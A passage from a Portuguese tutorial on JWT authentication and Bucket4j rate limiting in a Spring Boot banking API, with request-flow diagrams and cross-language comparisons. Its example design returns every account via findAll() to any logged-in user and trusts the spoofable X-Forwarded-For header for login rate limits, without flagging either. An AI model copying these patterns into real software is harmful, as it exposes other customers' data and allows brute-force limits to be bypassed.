  │      config.setAllowedHeaders(Arrays.asList("Authorization",...));    │
  │      config.setAllowCredentials(true);                                │
  │      config.setMaxAge(3600L);                                          │
  │      UrlBasedCorsConfigurationSource source = new ...();               │
  │      source.registerCorsConfiguration("/**", config);                  │
  │      return source;                                                    │
  │  }                                                                      │
  │  // ~15 linhas de configuracao                                          │
  └─────────────────────────────────────────────────────────────────────────┘

  ┌─── Node.js (Express) — 1 pacote, 5 linhas ────────────────────────────┐
  │  const cors = require('cors');                                         │
  │  app.use(cors({                                                        │
  │      origin: ['http://localhost:5173'],                                │
  │      methods: ['GET','POST','PUT','PATCH','DELETE'],                   │
  │      credentials: true                                                 │
  │  }));                                                                   │
  └─────────────────────────────────────────────────────────────────────────┘

  ┌─── Python (FastAPI) — 1 import, 5 linhas ──────────────────────────────┐
  │  from starlette.middleware.cors import CORSMiddleware                   │
  │  app.add_middleware(CORSMiddleware,                                    │
  │      allow_origins=["http://localhost:5173"],                          │
  │      allow_methods=["GET","POST","PUT","PATCH","DELETE"],              │
  │      allow_credentials=True                                            │
  │  )                                                                      │
  └─────────────────────────────────────────────────────────────────────────┘

  Conclusao: Java/Spring e mais verboso, mas a LOGICA configurada
  e exatamente a mesma (origens, metodos, headers, credenciais).

O que e ESPECIFICO do Java/Spring neste passo

Coisas que so Java/Spring faz dessa forma
  ESPECIFICO DO JAVA/SPRING             O QUE RESOLVE             ALTERNATIVA EM OUTRAS LINGUAGENS
  ─────────────────────────             ──────────────             ────────────────────────────────

  OncePerRequestFilter                  Garante 1 execucao        Node/Python: o framework ja
  (classe abstrata)                     por request               garante isso — nao precisa

  SecurityContextHolder                 Container global          Node: req.user (propriedade
  + ThreadLocal                         thread-safe para          do request object)
                                        identidade do usuario     Python: request.state.user

  UsernamePasswordAuthenticationToken   Objeto tipado com         Node: qualquer objeto JS serve
  (classe com principal +               principal + authorities    Python: qualquer dict serve
   credentials + authorities)           (Spring entende)

  SimpleGrantedAuthority("ROLE_USER")   Prefixo "ROLE_" como     Node: string simples "admin"
  (convencao do Spring Security)        convencao obrigatoria     Python: string simples "admin"

  .addFilterBefore(filter, class)       Inserir filtro em         Node: app.use(mw) — ordem de
  (posicao especifica na cadeia)        posicao EXATA             chamada define a ordem
                                                                  Python: mesma coisa

  AuthenticationEntryPoint              Handler especifico        Node: middleware de erro global
  (interface do Spring Security)        para falha de auth        Python: exception_handler

  @EnableMethodSecurity                 Ativa @PreAuthorize       Node: nao precisa "ativar" —
  (sem isso, annotation e ignorada!)    nos Controllers           middleware roda se registrado
                                                                  Python: Depends() roda sempre

  CorsConfigurationSource (bean)        Configuracao CORS         Node: cors({...}) — 5 linhas
  (20+ linhas de config)                como objeto Java          Python: CORSMiddleware(...)

Resumo: o padrao universal "Middleware de Autenticacao"

Pseudocodigo — funciona em QUALQUER linguagem
  funcao middleware_jwt(request, proximo):
  ─────────────────────────────────────────
      // PASSO 1: Extrair token
      header = request.headers["Authorization"]

      se header nao existe OU nao comeca com "Bearer ":
          proximo(request)     // sem token → deixa o framework decidir
          retorna

      token = header.remover_prefixo("Bearer ")

      // PASSO 2: Validar token
      tentativa:
          dados = validar_jwt(token, CHAVE_SECRETA)
      se falhou:
          proximo(request)     // token invalido → nao autentica
          retorna

      // PASSO 3: Verificar tipo
      se dados.tipo != "access":
          proximo(request)     // refresh token → nao serve aqui
          retorna

      // PASSO 4: Registrar identidade
      request.usuario = {
          email: dados.subject,
          role:  dados.role
      }

      proximo(request)         // segue para o controller ✅

  // Este pseudocodigo descreve o que Java, Node, Python, Go e Rust fazem.
  // A LOGICA e universal. O VOCABULARIO muda.
  // Aprender o pseudocodigo = entender qualquer implementacao.
Analogia

O middleware de autenticacao e como o procedimento operacional padrao (POP) de seguranca em aeroportos internacionais. Nao importa se voce esta em Guarulhos (Java), JFK (Node.js), Heathrow (Python) ou Narita (Go) — o procedimento e o mesmo: apresente o passaporte, o agente verifica a foto e a validade, se tudo OK voce passa, se nao voce e barrado.

O que muda entre aeroportos e a interface: em Guarulhos o agente pede o passaporte em portugues (SecurityContextHolder), em JFK pede em ingles (req.user), em Narita pede em japones (context.Value). Mas o POP (pseudocodigo) e identico.

Java/Spring e como um aeroporto muito grande com muitos terminais: tem mais burocracia (OncePerRequestFilter, SecurityContextHolder, UsernamePasswordAuthenticationToken), mas isso existe porque precisa gerenciar muitas threads simultaneas com seguranca. Node/Python sao como aeroportos menores — menos burocracia, mas o procedimento de seguranca e o mesmo.

Cenario: Riel quer ver suas contas bancarias no app

Vamos acompanhar exatamente o que acontece quando o usuario Riel, ja logado no app React, clica em "Minhas Contas" e o frontend faz um GET /api/v1/accounts. Cada etapa mostra qual arquivo do projeto e responsavel.

A jornada completa — do clique ao JSON na tela
  ╔══════════════════════════════════════════════════════════════════════╗
  ║  FRONTEND (React)                                                   ║
  ║                                                                      ║
  ║  O Riel clicou em "Minhas Contas".                                  ║
  ║  O React faz:                                                        ║
  ║    fetch('http://localhost:8080/api/v1/accounts', {                  ║
  ║      headers: {                                                      ║
  ║        'Authorization': 'Bearer eyJhbGciOiJIUzI1NiJ9.eyJz...',     ║
  ║        'Content-Type': 'application/json'                            ║
  ║      }                                                               ║
  ║    })                                                                ║
  ║                                                                      ║
  ║  O token foi guardado no localStorage apos o login.                 ║
  ╚══════════════════════╤═══════════════════════════════════════════════╝
                         │
                         │ HTTP GET /api/v1/accounts
                         │ Authorization: Bearer eyJ...
                         ▼
  ┌──────────────────────────────────────────────────────────────────────┐
  │  ETAPA 1: CORS Filter                                               │
  │  Arquivo: SecurityConfig.java → corsConfigurationSource()           │
  │                                                                      │
  │  Verifica: "Essa request vem de http://localhost:5173?"             │
  │  Sim → esta na lista de origens permitidas                          │
  │  Resultado: ✅ LIBERADO                                             │
  └──────────────────────┬───────────────────────────────────────────────┘
                         │
                         ▼
  ┌──────────────────────────────────────────────────────────────────────┐
  │  ETAPA 2: CSRF Filter (desabilitado)                                │
  │  Arquivo: SecurityConfig.java → .csrf(csrf -> csrf.disable())      │
  │                                                                      │
  │  API stateless com JWT, nao com cookies → CSRF nao se aplica        │
  │  Resultado: ✅ PASSA DIRETO                                         │
  └──────────────────────┬───────────────────────────────────────────────┘
                         │
                         ▼
  ┌──────────────────────────────────────────────────────────────────────┐
  │  ETAPA 3: JwtAuthenticationFilter                                   │
  │  Arquivo: config/JwtAuthenticationFilter.java                       │
  │                                                                      │
  │  3a. extractToken(request):                                         │
  │      header = "Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJyaWVs..."  │
  │      token  = "eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJyaWVs..."         │
  │      → Token encontrado ✅                                          │
  │                                                                      │
  │  3b. jwtService.validateToken(token):                               │
  │      Arquivo: service/JwtService.java                               │
  │      → Decodifica Base64                                            │
  │      → Verifica assinatura HMAC-SHA256 com jwt.secret              │
  │      → Verifica que exp > agora (nao expirou)                      │
  │      → Retorna Claims: {sub:"riel@email.com", role:"USER",        │
  │                          type:"access", exp:1742637000}            │
  │      → Token valido ✅                                              │
  │                                                                      │
  │  3c. Verifica tipo:                                                 │
  │      claims.get("type") = "access" → OK, e um access token ✅      │
  │      (se fosse "refresh", seria ignorado)                           │
  │                                                                      │
  │  3d. Cria autenticacao:                                             │
  │      email = "riel@email.com" (do claim "sub")                     │
  │      role  = "USER" (do claim "role")                              │
  │      auth  = UsernamePasswordAuthenticationToken(                   │
  │                "riel@email.com", null, [ROLE_USER])                │
  │                                                                      │
  │  3e. Registra no SecurityContext:                                    │
  │      SecurityContextHolder.getContext().setAuthentication(auth)      │
  │      → Agora qualquer codigo pode perguntar "quem e o usuario?"    │
  │      → Resposta: "riel@email.com com role ROLE_USER"               │
  │                                                                      │
  │  Resultado: ✅ REQUEST AUTENTICADA                                  │
  └──────────────────────┬───────────────────────────────────────────────┘
                         │
                         ▼
  ┌──────────────────────────────────────────────────────────────────────┐
  │  ETAPA 4: AuthorizationFilter (Spring Security automatico)          │
  │  Arquivo: SecurityConfig.java → authorizeHttpRequests(...)         │
  │                                                                      │
  │  Endpoint: /api/v1/accounts                                         │
  │  Regra: anyRequest().authenticated()                                │
  │  Request autenticada? SIM (SecurityContext tem autenticacao)         │
  │                                                                      │
  │  Resultado: ✅ AUTORIZADO — pode continuar                          │
  └──────────────────────┬───────────────────────────────────────────────┘
                         │
                         ▼
  ┌──────────────────────────────────────────────────────────────────────┐
  │  ETAPA 5: AccountController                                         │
  │  Arquivo: controller/AccountController.java                         │
  │                                                                      │
  │  @GetMapping                                                        │
  │  public ResponseEntity<List<AccountResponse>> listAll() {          │
  │      // Pode acessar quem esta logado:                              │
  │      // SecurityContextHolder...getAuthentication().getName()       │
  │      // → "riel@email.com"                                         │
  │      return ResponseEntity.ok(accountService.findAll());            │
  │  }                                                                   │
  └──────────────────────┬───────────────────────────────────────────────┘
                         │
                         ▼
  ┌──────────────────────────────────────────────────────────────────────┐
  │  ETAPA 6: AccountService → AccountRepository → PostgreSQL           │
  │  Arquivos: service/AccountService.java                              │
  │            repository/AccountRepository.java                         │
  │                                                                      │
  │  accountRepository.findAll()                                         │
  │  → SELECT * FROM accounts;                                          │
  │  → Retorna lista de entidades Account                               │
  │  → AccountMapper converte para AccountResponse (DTO)                │
  └──────────────────────┬───────────────────────────────────────────────┘
                         │
                         ▼
  ╔══════════════════════════════════════════════════════════════════════╗
  ║  RESPOSTA HTTP                                                       ║
  ║                                                                      ║
  ║  HTTP 200 OK                                                         ║
  ║  Content-Type: application/json                                      ║
  ║                                                                      ║
  ║  [                                                                   ║
  ║    {                                                                 ║
  ║      "id": "a1b2c3d4-...",                                          ║
  ║      "holderName": "Riel Santos",                                   ║
  ║      "holderDocument": "***.***.***-12",                             ║
  ║      "bankCode": "001",                                             ║
  ║      "agency": "0001",                                              ║
  ║      "accountNumber": "123456-7",                                   ║
  ║      "balance": 1500.00,                                            ║
  ║      "status": "ACTIVE"                                             ║
  ║    }                                                                 ║
  ║  ]                                                                   ║
  ║                                                                      ║
  ║  → React recebe o JSON e renderiza a lista de contas na tela ✅     ║
  ╚══════════════════════════════════════════════════════════════════════╝

E se o token estivesse expirado?

Cenario alternativo: access token expirado
  O mesmo GET /api/v1/accounts, mas o access token expirou (passaram 15 min):

  ETAPA 3: JwtAuthenticationFilter
    3b. jwtService.validateToken(token)
        → Verifica exp: 1742636100 < agora (1742637000) → EXPIRADO!
        → Retorna null
    → Nao autentica, mas nao bloqueia
    → filterChain.doFilter() (passa adiante sem autenticacao)

  ETAPA 4: AuthorizationFilter
    Endpoint: /api/v1/accounts → requer authenticated()
    Request autenticada? NAO (SecurityContext vazio)
    → BARRA a request → chama EntryPoint

  ETAPA 5 (alternativa): JwtAuthenticationEntryPoint
    Arquivo: config/JwtAuthenticationEntryPoint.java
    → Retorna HTTP 401 + JSON:
    {
      "status": 401,
      "error": "Unauthorized",
      "message": "Autenticacao necessaria. Envie um token JWT valido..."
    }

  O que o FRONTEND faz quando recebe 401:
    if (response.status === 401) {
      // Tenta renovar o token automaticamente:
      const newTokens = await fetch('/api/v1/auth/refresh', {
        method: 'POST',
        body: JSON.stringify({ refreshToken: localStorage.get('refreshToken') })
      });
      // Se funcionou: salva novos tokens e repete a request original
      // Se o refresh tambem expirou (7 dias): redireciona para /login
    }

E se fosse um endpoint publico?

Cenario: POST /api/v1/auth/login (sem token)
  POST /api/v1/auth/login  (sem header Authorization)
  Body: { "email": "riel@email.com", "password": "minhasenha123" }

  ETAPA 1: CORS Filter → ✅ (origem permitida)
  ETAPA 2: CSRF Filter → ✅ (desabilitado)

  ETAPA 3: JwtAuthenticationFilter
    token = extractToken(request) → null (nao tem header Authorization)
    → filterChain.doFilter() → passa adiante SEM autenticar
    → Esta CORRETO: o usuario esta fazendo LOGIN, nao tem token ainda!

  ETAPA 4: AuthorizationFilter
    Endpoint: /api/v1/auth/login → bate com "/api/v1/auth/**" → permitAll()
    → Nao exige autenticacao!
    → ✅ LIBERADO

  ETAPA 5: AuthController.login()
    → authService.login() → valida email/senha → gera tokens
    → Retorna 200 + { accessToken, refreshToken }

  Agora o frontend guarda os tokens e usa nas proximas requests.
Analogia: a jornada completa

Imagine que o Riel esta entrando no predio do PixHub:

1. CORS = o porteiro verifica se voce veio de um lugar permitido ("Voce veio do estacionamento do condominio? OK, pode entrar.")

2. CSRF = o detector de artefatos esta desligado (nao se aplica ao nosso tipo de predio).

3. JwtFilter = a catraca le seu cracha. Se valido, prende uma etiqueta no seu pescoco dizendo "Riel Santos — Funcionario" (SecurityContext). Se invalido, nao prende etiqueta mas deixa passar (talvez voce va so para a recepcao, que e publica).

4. AuthorizationFilter = o elevador verifica sua etiqueta. "Quer ir ao andar 5 (/accounts)? Deixa ver... voce tem etiqueta? Sim! Pode subir." Se voce quer ir a recepcao (/auth/login), o elevador nem pede etiqueta — e andar publico.

5. EntryPoint = se o elevador te barrou, aparece uma mensagem: "Acesso negado. Por favor, passe na recepcao (andar terreo) para receber seu cracha."

6. Controller = voce chegou ao andar certo. O atendente (AccountService) consulta o sistema (PostgreSQL) e te entrega as informacoes que pediu.

O problema que este passo resolve

Ate o passo 3.3, a API ja sabia quem esta acessando (JWT + SecurityContext) e ja barrava quem nao tem cracha (401 Unauthorized). Porem, quem TEM cracha valido pode fazer quantas requests quiser, sem limite. Isso abre tres riscos graves:

Os 3 riscos de nao ter rate limiting
  RISCO 1 — BRUTE FORCE no login
  ───────────────────────────────
    Um atacante pode tentar milhares de senhas por minuto no POST /auth/login.
    Mesmo com o bloqueio de conta apos 5 tentativas (passo 3.2), ele pode
    tentar 5 senhas em 5 contas diferentes SIMULTANEAMENTE.
    Sem rate limiting: 5 senhas x 1000 contas = 5000 tentativas/min
    Com rate limiting: 5 requests/min por IP → maximo 5 tentativas/min

  RISCO 2 — DENIAL OF SERVICE (DoS)
  ──────────────────────────────────
    Um atacante (ou bug no frontend) pode bombardear a API com requests:
    GET /api/v1/accounts → 10.000 requests por segundo
    Cada request consome CPU, memoria e conexao com o banco.
    O servidor sobrecarrega e para de responder para TODOS os usuarios.
    Com rate limiting: maximo 60 req/min por usuario → API estavel.

  RISCO 3 — ABUSO DE OPERACOES CARAS
  ────────────────────────────────────
    Operacoes financeiras (POST /transactions) sao CARAS:
    - Validam saldo, chave PIX, conta destino
    - Gravam no banco, publicam no Kafka, registram auditoria
    Um usuario mal-intencionado poderia sobrecarregar o sistema
    criando milhares de transacoes por minuto.
    Com rate limiting: maximo 30 transacoes/min por usuario.
Antes vs Depois — o impacto concreto
  ANTES (passo 3.3):                         DEPOIS (passo 3.4):
  ──────────────────                         ──────────────────

  Autenticacao: OK (JWT)                     Autenticacao: OK (JWT)
  Autorizacao: OK (roles)                    Autorizacao: OK (roles)
  Limite de requests: NENHUM                 Limite por categoria:
                                               Auth:     5 req/min por IP
                                               Transacao: 30 req/min por usuario
                                               Consulta: 60 req/min por usuario

  Headers de resposta:                       Headers de resposta:
  (sem info de rate limit)                   X-RateLimit-Limit: 60
                                             X-RateLimit-Remaining: 58
                                             X-RateLimit-Retry-After-Seconds: 12

  10.000 requests em 1 minuto:               10.000 requests em 1 minuto:
  → Todas processadas ❌ (DoS)               → 60 processadas, 9.940 rejeitadas com 429
                                             → Servidor estavel ✅

Os 3 arquivos criados/alterados e seus papeis

Arquivos do passo 3.4 e o que cada um faz
┌─────────────────────────────────────────────────────────────────────────┐
│  ARQUIVO                          │  PAPEL            │  ANALOGIA      │
├───────────────────────────────────┼───────────────────┼────────────────┤
│  RateLimitProperties.java         │  AS REGRAS        │  O regulamento │
│  (NOVO)                           │  Define os limites│  que diz       │
│  config/                          │  por categoria,   │  "maximo 5     │
│                                   │  lidos do .yml    │  entradas/min" │
├───────────────────────────────────┼───────────────────┼────────────────┤
│  RateLimitingFilter.java          │  O CONTADOR       │  O catraca com │
│  (NOVO)                           │  Intercepta cada  │  contador que  │
│  config/                          │  request e decide │  trava quando  │
│                                   │  se passou do     │  o limite e    │
│                                   │  limite           │  atingido      │
├───────────────────────────────────┼───────────────────┼────────────────┤
│  SecurityConfig.java              │  O ORQUESTRADOR   │  O manual de   │
│  (ATUALIZADO)                     │  Registra o novo  │  seguranca     │
│  config/                          │  filtro na cadeia │  atualizado    │
│                                   │  APOS o JwtFilter │                │
├───────────────────────────────────┼───────────────────┼────────────────┤
│  application.yml                  │  A CONFIGURACAO   │  Os numeros    │
│  (ATUALIZADO)                     │  Valores dos      │  escritos na   │
│  resources/                       │  limites e on/off │  placa do      │
│                                   │                   │  regulamento   │
└─────────────────────────────────────────────────────────────────────────┘

A cadeia de filtros ATUALIZADA

O RateLimitingFilter foi inserido depois do JwtAuthenticationFilter na cadeia de seguranca. A ordem e crucial: ele precisa do SecurityContext (preenchido pelo JwtFilter) para saber quem esta fazendo a request e aplicar o limite correto.

Cadeia de filtros — posicao do Rate Limiting
  Request HTTP
    │
    ▼
  ┌─── 1. CORS Filter ────────────────────────────────────────┐
  │  "Origem permitida?" (localhost:5173 → OK)                │
  └────────────────────────────────────────────────────────────┘
    │
    ▼
  ┌─── 2. CSRF Filter (desabilitado) ─────────────────────────┐
  │  API stateless com JWT, nao com cookies                    │
  └────────────────────────────────────────────────────────────┘
    │
    ▼
  ┌─── 3. JwtAuthenticationFilter ────────────────────────────┐
  │  Extrai token → valida → seta SecurityContext              │
  │  Agora sabemos QUEM esta fazendo a request                │
  └────────────────────────────────────────────────────────────┘
    │
    ▼
  ┌─── 4. RateLimitingFilter (NOVO — passo 3.4) ─────────────┐
  │                                                            │
  │  "Esse usuario/IP ja excedeu o limite?"                   │
  │                                                            │
  │  1. Categoriza o endpoint (auth? transacao? consulta?)    │
  │  2. Identifica quem faz a request (IP ou email do JWT)    │
  │  3. Busca o "balde de fichas" (bucket) dessa pessoa       │
  │  4. Tenta consumir 1 ficha                                │
  │     → Tem ficha?  ✅ Continua + headers X-RateLimit-*    │
  │     → Sem ficha?  ❌ 429 Too Many Requests               │
  │                                                            │
  │  Limites:                                                  │
  │    /api/v1/auth/**     → 5/min por IP                     │
  │    POST /transactions  → 30/min por usuario               │
  │    GET /api/**         → 60/min por usuario               │
  └────────────────────────────────────────────────────────────┘
    │
    ▼
  ┌─── 5. AuthorizationFilter ────────────────────────────────┐
  │  "Endpoint publico ou protegido? Request autenticada?"    │
  └────────────────────────────────────────────────────────────┘
    │
    ├── BARRADO → JwtAuthenticationEntryPoint (401 JSON)
    │
    └── LIBERADO → Controller

Mapa de conexoes com os passos anteriores

Como o rate limiting se conecta com a arquitetura existente
  ┌─── application.yml ──────────────────────────────────────────┐
  │  rate-limit:                                                  │
  │    enabled: true                                              │
  │    auth-requests-per-minute: 5                                │
  │    transaction-requests-per-minute: 30                        │
  │    query-requests-per-minute: 60                              │
  └─────────┬────────────────────────────────────────────────────┘
            │ @ConfigurationProperties le esses valores
            ▼
  ┌─── RateLimitProperties.java (NOVO — 3.4) ───────────────────┐
  │  authRequestsPerMinute = 5                                    │
  │  transactionRequestsPerMinute = 30                            │
  │  queryRequestsPerMinute = 60                                  │
  │  enabled = true                                               │
  └─────────┬────────────────────────────────────────────────────┘
            │ injetado via construtor
            ▼
  ┌─── RateLimitingFilter.java (NOVO — 3.4) ────────────────────┐
  │  doFilterInternal(request, response, filterChain)             │
  │    → categorizeEndpoint() (auth? transacao? consulta?)       │
  │    → resolveKey() (IP ou email do SecurityContext)           │
  │    → createBucket() (Bucket4j com Token Bucket)              │
  │    → bucket.tryConsumeAndReturnRemaining(1)                   │
  │    → Adiciona headers X-RateLimit-*                           │
  │    → 429 ou continua                                          │
  └─────────┬────────────────────────────────────────────────────┘
            │ registrado na cadeia por
            ▼
  ┌─── SecurityConfig.java (ATUALIZADO — 3.4) ──────────────────┐
  │  .addFilterBefore(jwtFilter, UsernamePasswordAuth...)        │
  │  .addFilterAfter(rateLimitFilter, JwtAuthenticationFilter)   │
  │                                                               │
  │  Cadeia: JwtFilter → RateLimitFilter → Authorization         │
  └──────────────────────────────────────────────────────────────┘

  Conexoes com passos anteriores:
  ───────────────────────────────
  Passo 3.3 (JwtFilter) → preenche SecurityContext
                              │
                              ▼
  Passo 3.4 (RateLimitFilter) → LE o SecurityContext para saber
                                  quem e o usuario (email) e
                                  aplicar o limite correto

  Passo 3.3 (EntryPoint) → retorna 401 JSON
  Passo 3.4 (RateLimitFilter) → retorna 429 JSON (MESMO formato ErrorResponse)
                                  Consistencia para o frontend!
Analogia completa

Continuando a analogia do predio do PixHub:

Passo 3.1 criou o cadastro de funcionarios (User). Passo 3.2 montou a recepcao com crachas (JWT). Passo 3.3 instalou catracas em todas as portas (JwtFilter).

Passo 3.4 adicionou um contador na catraca. Agora, alem de verificar se voce tem cracha, a catraca conta quantas vezes voce passou. Se voce passar mais de 5 vezes por minuto pela recepcao (login), a catraca trava e diz: "Calma! Voce ja entrou 5 vezes no ultimo minuto. Espere 12 segundos." O mesmo vale para os elevadores (endpoints protegidos), mas com limites mais generosos (60 por minuto para consultas, 30 para transacoes).

A diferenca e que na recepcao o contador e por pessoa (por IP — porque voce ainda nao se identificou), e nos andares o contador e por cracha (por email do JWT — porque a catraca ja sabe quem voce e).

O que e Token Bucket?

Token Bucket e o algoritmo mais usado no mundo para rate limiting. AWS, Google Cloud, Stripe, GitHub — todos usam variantes desse algoritmo em suas APIs. Ele funciona com uma metafora simples: um balde cheio de fichas.

Como funciona — passo a passo visual
  CONFIGURACAO: balde com capacidade 5, reabastece 5 fichas por minuto

  ESTADO INICIAL (balde cheio):
  ┌───────────────────┐
  │  🎟 🎟 🎟 🎟 🎟  │  5 fichas disponiveis
  └───────────────────┘

  REQUEST 1 (consome 1 ficha):
  ┌───────────────────┐
  │  🎟 🎟 🎟 🎟     │  4 fichas restantes  → 200 OK ✅
  └───────────────────┘

  REQUEST 2, 3, 4, 5 (consomem 4 fichas):
  ┌───────────────────┐
  │                    │  0 fichas restantes  → 200 OK ✅ (a ultima)
  └───────────────────┘

  REQUEST 6 (balde vazio!):
  ┌───────────────────┐
  │       VAZIO        │  0 fichas  → 429 Too Many Requests ❌
  └───────────────────┘
  "Tente novamente em 12 segundos"

  (12 segundos depois... 1 ficha reabastecida):
  ┌───────────────────┐
  │  🎟                │  1 ficha  → proxima request passa ✅
  └───────────────────┘

  (1 minuto depois... balde cheio de novo):
  ┌───────────────────┐
  │  🎟 🎟 🎟 🎟 🎟  │  5 fichas (reabastecimento completo)
  └───────────────────┘

Greedy Refill vs Intervally Refill

Existem duas formas de reabastecer o balde. Escolhemos Greedy porque e mais justo para o usuario:

Duas estrategias de reabastecimento
  GREEDY REFILL (o que usamos):
  ─────────────────────────────
  Distribui fichas GRADUALMENTE ao longo do intervalo.
  5 fichas / 60 segundos = 1 ficha a cada 12 segundos.

  Tempo:  0s   12s   24s   36s   48s   60s
  Fichas: +1    +1    +1    +1    +1   (total: 5)

  Vantagem: o usuario que foi bloqueado precisa esperar apenas 12 segundos
  para fazer a proxima request (nao 1 minuto inteiro).

  ────────────────────────────────────────────────────────────────

  INTERVALLY REFILL (alternativa — NAO usamos):
  ──────────────────────────────────────────────
  Espera o intervalo COMPLETO e adiciona TODAS as fichas de uma vez.
  5 fichas a cada 60 segundos (tudo de uma vez).

  Tempo:  0s   12s   24s   36s   48s   60s
  Fichas:  0     0     0     0     0   +5 (tudo junto!)

  Desvantagem: o usuario bloqueado precisa esperar ATE 60 segundos.
  E permite um burst de 5 requests instantaneas apos o refill.

  ────────────────────────────────────────────────────────────────

  Por que Greedy e melhor para APIs?
  Porque suaviza o trafego ao longo do tempo. Com Intervally,
  todos os usuarios que foram bloqueados voltam ao mesmo tempo
  (quando o minuto vira), causando um "pico" de requests.

Por que Token Bucket e nao outros algoritmos?

Comparacao dos 4 algoritmos de rate limiting
  ALGORITMO           COMO FUNCIONA                  PROBLEMA                   USADO POR
  ─────────           ─────────────                  ────────                   ────────
  Fixed Window        Conta requests em janelas      "Burst na borda":          Simples
                      fixas (ex: 0:00-0:59,          59 req no segundo 59 +     mas pouco
                      1:00-1:59). Reseta no minuto.  60 req no segundo 61 =     usado em
                                                     119 req em 2 segundos!     producao

  Sliding Window      Janela "deslizante" que        Mais complexo. Precisa     Cloudflare,
  Log                 registra timestamp de cada     armazenar TODOS os         Nginx
                      request e conta ultimos 60s.   timestamps. Usa mais
                                                     memoria.

  Sliding Window      Combina Fixed Window com       Bom compromisso, mas       Kong,
  Counter             peso proporcional.             o Token Bucket e mais      Envoy
                      Ex: 70% do minuto anterior     flexivel com bursts.
                      + 100% do minuto atual.

  Token Bucket        Balde com fichas.              Nenhum problema grave!     AWS, Google,
  (NOSSO)             Fichas consumidas por           Permite bursts curtos     Stripe,
                      request. Reabastecidas         (balde cheio) mas limita   GitHub,
                      gradualmente.                  throughput medio.          Bucket4j

  Token Bucket e o mais popular porque:
  1. Simples de entender e implementar
  2. Permite "bursts" controlados (o balde tem capacidade)
  3. Reabastecimento gradual suaviza o trafego
  4. Eficiente em memoria (1 bucket = ~100 bytes)
  5. Thread-safe (Bucket4j usa atomics, sem locks)

Os 3 limites do PixHub e por que sao diferentes

Cada tipo de endpoint tem um risco diferente
  CATEGORIA     LIMITE        POR QUEM      POR QUE
  ─────────     ──────        ────────      ───────
  AUTH          5 req/min     Por IP        Brute force e o maior risco.
  /auth/**                                  5 tentativas e suficiente para
                                            login normal. Limitamos por IP
                                            (nao por usuario) porque o
                                            atacante ainda nao se identificou.

  TRANSACAO     30 req/min    Por usuario   Operacoes financeiras sao CARAS:
  POST/PUT                    (email JWT)   validam saldo, gravam no banco,
  /transactions                             publicam no Kafka. 30/min e
                                            ~1 transacao a cada 2 segundos
                                            (mais que suficiente).

  CONSULTA      60 req/min    Por usuario   Leitura e BARATA: so consulta o
  GET /api/**                 (email JWT)   banco. 60/min = 1 req/segundo.
                                            Suficiente para um frontend
                                            React com polling ou navegacao
                                            rapida entre telas.

  SEM LIMITE    ---           ---           Swagger (/swagger-ui/**)
  (NONE)                                    Actuator (/actuator/**)
                                            API docs (/api-docs/**)
                                            Esses endpoints sao de
                                            desenvolvimento/monitoramento.
Analogia

Token Bucket e como o sistema de fichas de um buffet. Voce recebe 5 fichas ao entrar (capacidade do balde). Cada vez que pega um prato, entrega 1 ficha. Quando as fichas acabam, precisa esperar o garcom trazer mais (reabastecimento). O garcom traz 1 ficha a cada 12 segundos (greedy refill) — voce nao precisa esperar ele trazer o monte todo de uma vez.

Diferentes estacoes do buffet tem regras diferentes: a estacao de sushi (transacoes — caro, limitado) da menos fichas que a estacao de salada (consultas — barato, abundante). E a recapcao do buffet (login — risco de gente tentando entrar sem convite) tem o controle mais rigido.

Estrutura do filtro

Assim como o JwtAuthenticationFilter (passo 3.3), o RateLimitingFilter estende OncePerRequestFilter — garantindo executar exatamente uma vez por request. Ele tem 4 responsabilidades:

As 4 responsabilidades do filtro
  1. CATEGORIZAR — "Que tipo de endpoint e esse?"
     /api/v1/auth/login     → AUTH (5/min por IP)
     POST /api/v1/transactions → TRANSACTION (30/min por usuario)
     GET /api/v1/accounts   → QUERY (60/min por usuario)
     /swagger-ui/**         → NONE (sem rate limiting)

  2. IDENTIFICAR — "Quem esta fazendo essa request?"
     AUTH → por IP (ex: "auth:192.168.1.100")
     TRANSACTION → por email (ex: "transaction:riel@email.com")
     QUERY → por email (ex: "query:riel@email.com")

  3. VERIFICAR — "Esse usuario/IP ainda tem fichas?"
     bucket.tryConsumeAndReturnRemaining(1)
     → true: consumiu 1 ficha, pode continuar
     → false: balde vazio, request rejeitada

  4. RESPONDER — adicionar headers OU retornar 429
     Se tem ficha: X-RateLimit-Remaining: 58 → continua
     Se nao tem:   429 + "Tente novamente em 12 segundos"

Fluxo detalhado do doFilterInternal

O que acontece a cada request — linha por linha
  doFilterInternal(request, response, filterChain):
  ─────────────────────────────────────────────────

  PASSO 1 — Rate limiting esta habilitado?
  ─────────────────────────────────────────
    if (!rateLimitProperties.isEnabled()) {
        filterChain.doFilter(request, response);  // passa direto
        return;
    }

    Por que ter um "interruptor"?
    Em testes automatizados, rate limiting atrapalha (os testes fazem
    dezenas de requests por segundo). Em dev, pode ser inconveniente.
    O flag "enabled" permite desligar sem mudar codigo.
    application.yml: rate-limit.enabled: false


  PASSO 2 — Categorizar o endpoint
  ─────────────────────────────────
    String path = request.getRequestURI();      // "/api/v1/auth/login"
    String method = request.getMethod();         // "POST"
    EndpointCategory category = categorizeEndpoint(path, method);

    Logica da categorizacao:
      /swagger-ui/**, /actuator/**, /api-docs/** → NONE (sem limite)
      /api/v1/auth/**                            → AUTH
      POST ou PUT em /api/v1/transactions/**     → TRANSACTION
      Qualquer outro /api/**                     → QUERY

    Se NONE → passa direto (endpoints de dev/monitoramento nao tem limite)


  PASSO 3 — Identificar quem faz a request
  ─────────────────────────────────────────
    String key = resolveKey(category, request);

    Para AUTH → usa o IP do cliente:
      key = "auth:192.168.1.100"
      Por que IP? Porque o usuario ainda nao se identificou (esta tentando
      fazer login!). O unico identificador disponivel e o IP.
      getClientIp() verifica o header X-Forwarded-For (proxy reverso)
      antes de usar request.getRemoteAddr().

    Para TRANSACTION/QUERY → usa o email do JWT:
      key = "transaction:riel@email.com" ou "query:riel@email.com"
      O email vem do SecurityContext (preenchido pelo JwtFilter no passo 3.3).
      Por que separar transaction e query? Porque um usuario pode estar
      consultando muito (60/min) mas fazendo poucas transacoes (5/min).
      Os contadores sao independentes.

    Fallback: se nao tem autenticacao mas tambem nao e auth → usa IP.
    (Edge case: request sem token para endpoint protegido — sera barrada
    pelo AuthorizationFilter de qualquer forma, mas o rate limit ja conta.)


  PASSO 4 — Buscar ou criar o bucket
  ───────────────────────────────────
    Bucket bucket = buckets.computeIfAbsent(key, k -> createBucket(category));

    computeIfAbsent e um metodo do ConcurrentHashMap que:
